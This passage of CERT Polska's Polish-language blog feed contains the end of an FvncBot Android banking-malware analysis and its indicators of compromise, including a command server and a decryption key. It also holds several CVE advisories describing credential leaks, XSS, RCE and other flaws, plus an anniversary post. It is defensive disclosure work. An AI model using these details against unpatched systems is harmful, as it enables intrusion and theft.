    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Podsumowanie&lt;/h2&gt;
&lt;p&gt;Analizowaną próbkę można opisać jako wielomodułowe narzędzie do zdalnego sterowania zainfekowanym urządzeniem i nie jest to typowa fałszywa aplikacja banku. Przynęta w postaci wykorzystania wizerunku SGB, instalator, widoczna paczka &lt;code&gt;Android V.28.11&lt;/code&gt; i ukryty plik &lt;code&gt;qkcCg.jpg&lt;/code&gt; są częścią ekosystemu, który umożliwia adwersarzowi pełny dostęp do urządzenia.&lt;/p&gt;
&lt;p&gt;Inne próbki analizowane przez CERT Polska w podobnych kampaniach wykorzystują ten sam schemat: przynęta z logotypem banku, instalator, przekazanie sterowania do &lt;code&gt;com.core.town&lt;/code&gt;, rejestracja urządzenia pod  &lt;code&gt;jeliornic.it.com&lt;/code&gt; i wykorzystanie mechanizmu ułatwień dostępu do zwiększenia możliwości aplikacji. Wariant z wizerunkiem banku SGB stanowi zatem kolejną odsłonę kampanii FvncBot.&lt;/p&gt;
&lt;h2&gt;Wskaźniki infekcji (IoC)&lt;/h2&gt;
&lt;h4&gt;Identyfikatory plików i etapów&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;nazwa zewnętrznej próbki: &lt;code&gt;sgb.apk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SHA-256 zewnętrznej próbki: &lt;code&gt;96b47838ba48b881f4b8e007c5b8c2963db516556865695848ee252571fe5893&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;zewnętrzna paczka: &lt;code&gt;com.junk.knock&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;ścieżka loadera w czasie wykonania: &lt;code&gt;/data/user/0/com.junk.knock/app_tell/tWyWeG.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SHA-256 instalatora w czasie wykonania: &lt;code&gt;91a22dcd68500e33ee0aa45d40dc00df58bc1d8e3559a273ff1ab8c3d2d94486&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;dołączona wewnętrzna nazwa apk: &lt;code&gt;payload_grass.apk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SHA-256 dołączonego apk: &lt;code&gt;b4708b853ff64530776e8179a748b7e9469eb88491bceaffe3bf16cfe366d75a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;wewnętrzna nazwa paczki: &lt;code&gt;com.core.town&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;ukryty zasób: &lt;code&gt;qkcCg.jpg&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SHA-256 ukrytego zasobu: &lt;code&gt;3d980d21f116bd499bdd0b52b570cbb4ddcbf47aa2dd96b5aae43dbce51f6249&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;klucz do odszyfrowania ukrytego zasobu: &lt;code&gt;sDjCM&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SHA-256 końcowo wyodrębnionego pliku DEX: &lt;code&gt;56c28cda7650e6d9287b8c260594bc759f9f7b47cf74b27ad914de0a57b315c6&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Infrastruktura sieciowa&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;bazowy URL backendu: &lt;code&gt;https://jeliornic.it.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;endpoint służący do śledzenia: &lt;code&gt;https://jeliornic.it.com/api/v1/tracking/events&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;endpoint służący do rejestracji: &lt;code&gt;https://jeliornic.it.com/api/v1/devices/register&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;wzorzec endpointu pobierania poleceń: &lt;code&gt;/api/v1/devices/&amp;lt;device_id&amp;gt;/commands?status=pending&amp;amp;limit=10&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;endpoint do wysyłki paczek zdarzeń: &lt;code&gt;/api/v1/devices/&amp;lt;device_id&amp;gt;/events/batch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;endpoint heartbeat (utrzymania połączenia): &lt;code&gt;/api/v1/devices/&amp;lt;device_id&amp;gt;/heartbeat&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;wzorzec endpointu sprawdzania statusu polecenia: &lt;code&gt;/api/v1/commands/&amp;lt;command_id&amp;gt;/status&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;adres IP backendu zaobserwowany podczas analizy dynamicznej: &lt;code&gt;104.21.59.199&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="News"></category><category term="android"></category><category term="analiza"></category><category term="fvncbot"></category></entry><entry><title>Podatność w oprogramowaniu Robolinho Update Software</title><link href="https://cert.pl/posts/2026/03/CVE-2026-1612/" rel="alternate"></link><published>2026-03-30T09:55:00+01:00</published><updated>2026-03-30T09:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-03-30:/posts/2026/03/CVE-2026-1612/</id><summary type="html">W oprogramowaniu Robolinho Update Software wykryto podatność typu Use of Hard-coded Credentials (CVE-2026-1612).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu AL-KO Robolinho Update Software i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-1612"&gt;CVE-2026-1612&lt;/a&gt;: AL-KO Robolinho Update Software zawiera zakodowane na stałe klucze dostępu AWS (Access i Secret), które umożliwiają każdemu dostęp do bucketu AWS należącego do AL-KO. Użycie tych kluczy bezpośrednio może potencjalnie zapewnić atakującemu większe uprawnienia niż sama aplikacja. Klucze te zapewniają CO NAJMNIEJ dostęp odczytu do części obiektów w bucketcie.&lt;/p&gt;
&lt;p&gt;Dostawca został poinformowany o tej podatności, jednak nie udzielił odpowiedzi. Jedynie wersja 8.0.21.0610 została przetestowana i potwierdzona jako podatna - inne wersje nie były testowane i również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Piotrowi Ptaszkowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu Bludit</title><link href="https://cert.pl/posts/2026/03/CVE-2026-25099/" rel="alternate"></link><published>2026-03-27T11:55:00+01:00</published><updated>2026-03-27T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-03-27:/posts/2026/03/CVE-2026-25099/</id><summary type="html">W oprogramowaniu Bludit wykryto 3 podatności różnego typu (od CVE-2026-25099 do CVE-2026-25101)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Bludit i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-25099"&gt;CVE-2026-25099&lt;/a&gt;: Wtyczka API w Bludit umożliwia uwierzytelnionemu atakującemu z ważnym tokenem API przesyłanie plików dowolnego typu i z dowolnym rozszerzeniem bez jakichkolwiek ograniczeń. Przesłane pliki mogą następnie zostać wykonane, co prowadzi do zdalnego wykonania kodu.&lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 3.18.4.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-25100"&gt;CVE-2026-25100&lt;/a&gt;: Bludit jest podatny na ataki typu Stored XSS w funkcjonalności przesyłania obrazów. Uwierzytelniony atakujący z uprawnieniami do przesyłania treści (takimi jak Autor, Edytor lub Administrator) może przesłać plik SVG zawierający złośliwy kod JS, który zostaje wykonany, gdy ofiara odwiedzi adres URL przesłanego pliku. Plik ten jest dostępny bez konieczności uwierzytelniania.&lt;/p&gt;
&lt;p&gt;Producent został poinformowany o tej podatności, jednak przerwał współpracę w trakcie procesu koordynacji. Wszystkie wersje do 3.18.2 włącznie są uznane za podatne, przyszłe wersje mogą również być podatne.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-25101"&gt;CVE-2026-25101&lt;/a&gt;: Bludit pozwala na ustawienie identyfikatora sesji użytkownika przed uwierzytelnieniem. Wartość tego identyfikatora pozostaje taka sama po zalogowaniu. Takie zachowanie umożliwia atakującemu ustalenie identyfikatora sesji dla ofiary, a następnie przejęcie jej uwierzytelnionej sesji.&lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 3.17.2.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Arkadiuszowi Marcie.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu KlinikaXP i KlinikaXP Insertino</title><link href="https://cert.pl/posts/2026/03/CVE-2026-1958/" rel="alternate"></link><published>2026-03-23T11:55:00+01:00</published><updated>2026-03-23T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-03-23:/posts/2026/03/CVE-2026-1958/</id><summary type="html">W oprogramowaniu KlinikaXP i KlinikaXP Insertino wykryto podatność typu Use of Hard-coded Credentials (CVE-2026-1958).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;KlinikaXP to oprogramowanie dla lecznic weterynaryjnych do zarządzania wizytami, dokumentacją i finansami. KlinikaXP Insertino to osobna aplikacja instalowana na tabletach lub laptopach, która łączy się z głównym systemem i umożliwia klientom wprowadzanie danych.&lt;/p&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu KlinikaXP i KlinikaXP Insertino i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-1958"&gt;CVE-2026-1958&lt;/a&gt;: Użycie zakodowanych na stałe poświadczeń w Klinika XP i KlinikaXP Insertino umożliwiało nieautoryzowanemu atakującemu dostęp do kilku usług wewnętrznych. Krytycznie, obejmowało to dostęp do serwera FTP, na którym hostowane były pakiety aktualizacyjne aplikacji. Atakujący z tymi poświadczeniami mógł przesłać złośliwy plik aktualizacyjny, który następnie mógł zostać rozprowadzony i zainstalowany na maszynach klientów jako zaufana aktualizacja.&lt;/p&gt;
&lt;p&gt;Podatność ta dotyczy KlinikaXP przed wersją 5.39.01.01 oraz KlinikaXP Insertino przed 3.1.0.1&lt;/p&gt;
&lt;p&gt;Oprócz usunięcia na stałe zakodowanych poświadczeń z kodu, zmieniono również dane dostępowe do wcześniej narażonych usług, co uniemożliwiło dalsze próby ataku z wykorzystaniem tej podatności.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Wojciechowi Giełdzie.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Befree SDK</title><link href="https://cert.pl/posts/2026/03/CVE-2025-12518/" rel="alternate"></link><published>2026-03-18T11:55:00+01:00</published><updated>2026-03-18T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-03-18:/posts/2026/03/CVE-2025-12518/</id><summary type="html">W oprogramowaniu Befree SDK wykryto podatność typu Cross-site Scripting (CVE-2025-12518).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Bee Content Design Befree SDK i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-12518"&gt;CVE-2025-12518&lt;/a&gt;: beefree.io SDK jest podatne na ataki typu Stored XSS w parametrze odpowiedzialnym za odnośnik ikony mediów społecznościowych w funkcjonalności kreatora e‑maili. Atakujący może wstrzyknąć dowolny kod HTML i JavaScript do szablonu, który zostanie wyrenderowany/wykonany podczas odwiedzania strony podglądu. Ze względu na Content Security Policy stosowane przez beefree, nie wszystkie payloady wykonają się pomyślnie.&lt;/p&gt;
&lt;p&gt;Ta podatność została usunięta w wersji 3.47.0.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Michałowi Błaszczakowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu Raytha</title><link href="https://cert.pl/posts/2026/03/CVE-2025-69236/" rel="alternate"></link><published>2026-03-16T13:55:00+01:00</published><updated>2026-03-16T13:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-03-16:/posts/2026/03/CVE-2025-69236/</id><summary type="html">W oprogramowaniu Raytha wykryto 11 podatności różnego typu (CVE-2025-15540 oraz od CVE-2025-69236 do CVE-2025-69243 oraz od CVE-2025-69245 do CVE-2025-69246)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Raytha i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-15540"&gt;CVE-2025-15540&lt;/a&gt;: Moduł "Functions" w Raytha CMS umożliwia uprzywilejowanym użytkownikom pisanie niestandardowego kodu w celu dodania funkcjonalności do aplikacji. Ze względu na brak izolacji lub ograniczeń dostępu, kod JavaScript wykonywany za pomocą funkcjonalności "functions" może tworzyć elementy środowiska .NET i wykonywać dowolne operacje w środowisku hostującym aplikację.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-69236"&gt;CVE-2025-69236&lt;/a&gt;: Oprogramowanie Raytha CMS jest podatne na atak typu Stored XSS w parametrze FieldValues[1].Value w funkcjonalności edycji postów. Umożliwia to uwierzytelnionemu atakującemu z uprawnieniami do edycji postów umieszczenie dowolnego kodu HTML i JS na stronę, który będzie wykonany podczas odwiedzania zedytowanej strony.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-69237"&gt;CVE-2025-69237&lt;/a&gt;: Oprogramowanie Raytha CMS jest podatne na atak typu Stored XSS w parametrze FieldValues[0].Value w funkcjonalności tworzenia stron. Uwierzytelniony atakujący z uprawnieniami do tworzenia treści może umieścić dowolny kod HTML i JS na stronie, który będzie wykonany podczas odwiedzania zedytowanej strony.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-69238"&gt;CVE-2025-69238&lt;/a&gt;: Oprogramowanie Raytha CMS jest podatne na atak typu Cross-Site Request Forgery w wielu miejscach w produkcie. Atakujący może stworzyć specjalną stronę, która, po odwiedzeniu przez uwierzytelnioną ofiarę, automatycznie wyśle żądanie POST do endpointu (np. usunięcie danych) bez wymuszania weryfikacji tokenu.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-69239"&gt;CVE-2025-69239&lt;/a&gt;: Oprogramowanie Raytha CMS jest podatne na atak typu Server-Side Request Forgery w funkcji „Themes - Import from URL”. Umożliwia to atakującemu z wysokimi uprawnieniami podanie adresu URL, na który zostanie przekierowane serwerowe żądanie HTTP.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-69240"&gt;CVE-2025-69240&lt;/a&gt;: W Raytha CMS istnieje możliwość podszycia się pod nagłówki &lt;code&gt;X-Forwarded-Host&lt;/code&gt; lub &lt;code&gt;Host&lt;/code&gt; wskazując na domenę kontrolowaną przez atakującego. Atakujący (który zna adres e-mail ofiary) może zmusić serwer do wysłania wiadomości e-mail z linkiem do resetowania hasła wskazującym na domenę ze zmienionego nagłówka. Gdy ofiara kliknie link, przeglądarka wyśle żądanie do domeny atakującego z tokenem w ścieżce, co umożliwia atakującemu przechwycenie tokenu. To pozwala atakującemu zresetować hasło ofiary i przejąć kontrolę nad jej kontem.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-69241"&gt;CVE-2025-69241&lt;/a&gt;: Oprogramowanie Raytha CMS jest podatne na atak typu Stored XSS w parametrach FirstName i LastName w funkcjonalności edycji profilu. Uwierzytelniony atakujący może umieścić dowolny kod HTML i JS na stronie, który zostanie wykonany podczas odwiedzania zedytowanej strony.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-69242"&gt;CVE-2025-69242&lt;/a&gt;: Oprogramowanie Raytha CMS jest podatne na atak typu Reflected XSS w parametrze backToListUrl. Atakujący może przygotować złośliwy URL, którego otwarcie przez uwierzytelnioną ofiarę prowadzi do wykonania dowolnego kodu JavaScript w przeglądarce ofiary.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-69243"&gt;CVE-2025-69243&lt;/a&gt;: Raytha CMS umożliwia enumerację użytkowników w funkcjonalności resetowania hasła. Różnice w komunikatach umożliwiają atakującemu wyznaczenie, czy login jest prawidłowy, co może prowadzić do ataku typu brute-force z wykorzystaniem prawidłowych loginów.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-69245"&gt;CVE-2025-69245&lt;/a&gt;: Oprogramowanie Raytha CMS jest podatne na atak typu Reflected XSS w parametrze returnUrl w funkcjonalności logowania. Atakujący może stworzyć złośliwy URL, który, gdy zostanie otwarty przez uwierzytelnioną ofiarę, prowadzi do wykonania dowolnego kodu JavaScript w przeglądarce ofiary.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-69246"&gt;CVE-2025-69246&lt;/a&gt;: Raytha CMS nie posiada żadnego mechanizmu ochrony przed atakami typu brute-force. Umożliwia to atakującemu wysyłanie wielu zautomatyzowanych żądań logowania bez wyzwalania blokady, ograniczenia lub dodatkowych zabezpieczeń.&lt;/p&gt;
&lt;p&gt;Problem opisany w CVE-2025-69243 został rozwiązany w wersji 1.5.0. Pozostałe problemy zostały rozwiązane w wersji 1.4.6.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Dziękujemy Danielowi Baście za zgłoszenie znalezionych przez siebie podatności: CVE-2025-15540, CVE-2025-69246 oraz od CVE-2025-69236 do CVE-2025-69243 oraz za wsparcie udzielone Patrykowi Kieszkowi w znalezieniu podatności CVE-2025-69245.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu urządzeń tinycontrol</title><link href="https://cert.pl/posts/2026/03/CVE-2025-11500/" rel="alternate"></link><published>2026-03-16T11:55:00+01:00</published><updated>2026-03-16T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-03-16:/posts/2026/03/CVE-2025-11500/</id><summary type="html">CERT Polska otrzymał zgłoszenia dotyczące 2 podatności (CVE-2025-11500 oraz CVE-2025-15587) wykrytych w wielu urządzeniach tinycontrol (tcPDU oraz LAN Controllers: LK3.5, LK3.9 i LK4).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie dotyczące podatności w urządzeniach tinycontrol (tcPDU oraz LAN Controllers: LK3.5, LK3.9 i LK4) oraz uczestniczył w koordynacji procesu ich ujawnienia.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-11500"&gt;CVE-2025-11500&lt;/a&gt;: Urządzenia tinycontrol, takie jak tcPDU oraz LAN Controller LK3.5, LK3.9 i LK4, posiadają dwa odrębne mechanizmy uwierzytelniania – jeden wyłącznie do zarządzania interfejsem, a drugi do ochrony wszystkich pozostałych zasobów serwera. Gdy drugi mechanizm jest wyłączony (co stanowi ustawienie domyślne), nieuwierzytelniony atakujący w sieci lokalnej może uzyskać nazwy użytkowników oraz zakodowane hasła do portalu zarządzania interfejsem poprzez analizę odpowiedzi HTTP serwera podczas odwiedzania strony logowania, która zawiera plik JSON z tymi danymi. Ujawniane są dane uwierzytelniające zarówno zwykłych użytkowników, jak i administratora.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-15587"&gt;CVE-2025-15587&lt;/a&gt;: Urządzenia tinycontrol, takie jak tcPDU oraz LAN Controller LK3.5, LK3.9 i LK4, umożliwiają użytkownikowi o niskich uprawnieniach odczyt hasła administratora poprzez bezpośredni dostęp do określonego zasobu, który nie jest dostępny z poziomu interfejsu graficznego.&lt;/p&gt;
&lt;p&gt;Podatności zostały naprawione w następujących wersjach oprogramowania układowego:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1.36&lt;/strong&gt; dla tcPDU&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1.67&lt;/strong&gt; dla LK3.5 – wersje sprzętowe: 3.5, 3.6, 3.7 i 3.8&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1.75&lt;/strong&gt; dla LK3.9 – wersja sprzętowa 3.9&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1.38&lt;/strong&gt; dla LK4 – wersja sprzętowa 4.0.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności CVE-2025-11500 dziękujemy Pawłowi Różańskiemu z Securitum. Podatność CVE-2025-15587 została zgłoszona przez producenta urządzeń tinycontrol, aby zwiększyć bezpieczeństwo użytkowników, za co również dziękujemy. &lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Streamsoft Prestiż</title><link href="https://cert.pl/posts/2026/03/CVE-2026-0809/" rel="alternate"></link><published>2026-03-12T11:55:00+01:00</published><updated>2026-03-12T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-03-12:/posts/2026/03/CVE-2026-0809/</id><summary type="html">W oprogramowaniu Streamsoft Prestiż wykryto podatność polegającą na słabym kodowaniu tokenów (CVE-2026-0809).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Streamsoft Prestiż i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-0809"&gt;CVE-2026-0809&lt;/a&gt;: Użycie niestandardowego algorytmu kodowania tokenów w oprogramowaniu Streamsoft Prestiż umożliwia odgadnięcie wartości tokenu KSeF (Krajowy System e-Faktur) po analizie sposobu kodowania tokenów o znanych wartościach. Ten problem został rozwiązany w wersji 20.0.380.92.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Kamilowi Dąbkowskiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>CERT Polska ma 30 lat</title><link href="https://cert.pl/posts/2026/03/30-lat-cert-polska/" rel="alternate"></link><published>2026-03-11T18:00:00+01:00</published><updated>2026-03-11T18:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-03-11:/posts/2026/03/30-lat-cert-polska/</id><summary type="html">Zespół CERT Polska świętuje 30-lecie swojej działalności. Przez trzy dekady zmieniło się niemal wszystko. Internet, z którego w latach 90. korzystała niewielka grupa użytkowników, dziś jest podstawową przestrzenią, dzięki której funkcjonuje wiele aspektów naszego życia. Wraz z jego rozwojem pojawiają się jednak nowe zagrożenia, co jeszcze lepiej pokazuje dlaczego potrzebujemy zespołów takich jak nasz.</summary><content type="html">&lt;p&gt;&lt;em&gt;Zespół CERT Polska świętuje 30-lecie swojej działalności. Przez trzy dekady zmieniło się niemal wszystko. Internet, z którego w latach 90. korzystała niewielka grupa użytkowników, dziś jest podstawową przestrzenią, dzięki której funkcjonuje wiele aspektów naszego życia. Wraz z jego rozwojem pojawiają się jednak nowe zagrożenia, co jeszcze lepiej pokazuje dlaczego potrzebujemy zespołów takich jak nasz.&lt;/em&gt;&lt;/p&gt;
&lt;div class="video"&gt;
    &lt;video class="video-js vjs-fill" style="width: 100%;" controls preload="auto"&gt;
        &lt;source src="/uploads/2026/03/30-lat-cert-polska.mp4" type="video/mp4" /&gt;
    &lt;/video&gt;
&lt;/div&gt;

&lt;p&gt;Ponad 2 miliony zgłoszeń od internautów i ponad pół miliona incydentów - z czego większość miała miejsce przez ostatnie 5 lat. Reagowanie na incydenty to jedno z najważniejszych zadań CERT Polska – realizowane nieprzerwanie od 1996 roku. I tak od 12 incydentów w 1996 roku, w 2025 odnotowaliśmy ich przeszło 260 tysięcy. Liczący dziś ponad 100 osób zespół, rozpoczynał pracę jako drużyna składająca się z jedynie 3 ekspertów.&lt;/p&gt;
&lt;p&gt;Historia CERT Polska rozpoczęła się 11 marca 1996 roku. Wówczas decyzją Dyrektora NASK formalnie powołano w Instytucie zespół CERT, któremu przewodził Krzysztof Silicki. Od tamtego czasu nasz zespół odpowiada na kolejne pojawiające się w cyberprzestrzeni wyzwania. Dziś eksperci CERT Polska obsługują rocznie setki tysięcy zgłoszeń i incydentów, rozwijają narzędzia do wykrywania zagrożeń, analizują złośliwe oprogramowanie oraz współpracują z zespołami bezpieczeństwa na całym świecie. Przez 30 lat CERT Polska zbudował unikalne kompetencje i należy do czołówki europejskich zespołów reagowania na incydenty cyberbezpieczeństwa. &lt;/p&gt;
&lt;h2&gt;30 sukcesów CERT Polska na 30 lat&lt;/h2&gt;
&lt;p&gt;Z okazji jubileuszu chcemy przypomnieć najważniejsze momenty naszej historii. W najbliższych tygodniach będziemy publikować w naszych mediach społecznościowych serię materiałów, w których opowiemy o projektach, narzędziach i inicjatywach, które realnie wpłynęły na bezpieczeństwo polskiego internetu. 
Za tymi osiągnięciami stoją przede wszystkim ludzie. CERT Polska to zespół ekspertów, analityków i badaczy, których praca często pozostaje niewidoczna dla opinii publicznej. To właśnie oni każdego dnia analizują zagrożenia, reagują na incydenty i pomagają chronić użytkowników sieci w Polsce. &lt;/p&gt;
&lt;h2&gt;SECURE 2026&lt;/h2&gt;
&lt;p&gt;Nasze 30-lecie będziemy również świętować podczas konferencji SECURE 2026 – to jedno z najważniejszych wydarzeń poświęconych cyberbezpieczeństwu w Polsce. To dobra okazja, aby spotkać się z ekspertami CERT Polska, wymienić doświadczenia i porozmawiać o aktualnych wyzwaniach w obszarze cybersecurity. 
Zapraszamy do &lt;a href="https://www.secure.edu.pl/"&gt;udziału w konferencji&lt;/a&gt; i do wspólnego świętowania naszego jubileuszu! &lt;/p&gt;</content><category term="News"></category></entry><entry><title>Podatność w oprogramowaniu Coppermine Photo Gallery</title><link href="https://cert.pl/posts/2026/03/CVE-2026-3013/" rel="alternate"></link><published>2026-03-11T11:55:00+01:00</published><updated>2026-03-11T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-03-11:/posts/2026/03/CVE-2026-3013/</id><summary type="html">W oprogramowaniu Coppermine Photo Gallery wykryto podatność typu Path Traversal (CVE-2026-3013).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Coppermine Photo Gallery i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-3013"&gt;CVE-2026-3013&lt;/a&gt;: Coppermine Photo Gallery w wersjach od 1.6.09 do 1.6.27 jest podatny na path traversal. Nieautoryzowany, zdalny atakujący może wykorzystać podatny endpoint i skonstruować zapytania pozwalające na odczytanie zawartości dowolnego pliku dostępnego dla procesu serwera WWW.
Problem został naprawiony w wersji 1.6.28.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Janowi Pawłowi Klimowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu QuickCMS</title><link href="https://cert.pl/posts/2026/03/CVE-2026-1468/" rel="alternate"></link><published>2026-03-06T11:55:00+01:00</published><updated>2026-03-06T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-03-06:/posts/2026/03/CVE-2026-1468/</id><summary type="html">W oprogramowaniu QuickCMS wykryto podatność typu Cross-Site Request Forgery (CSRF) (CVE-2026-1468).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu QuickCMS i koordynował proces ujawniania informacji.&lt;/p&gt;
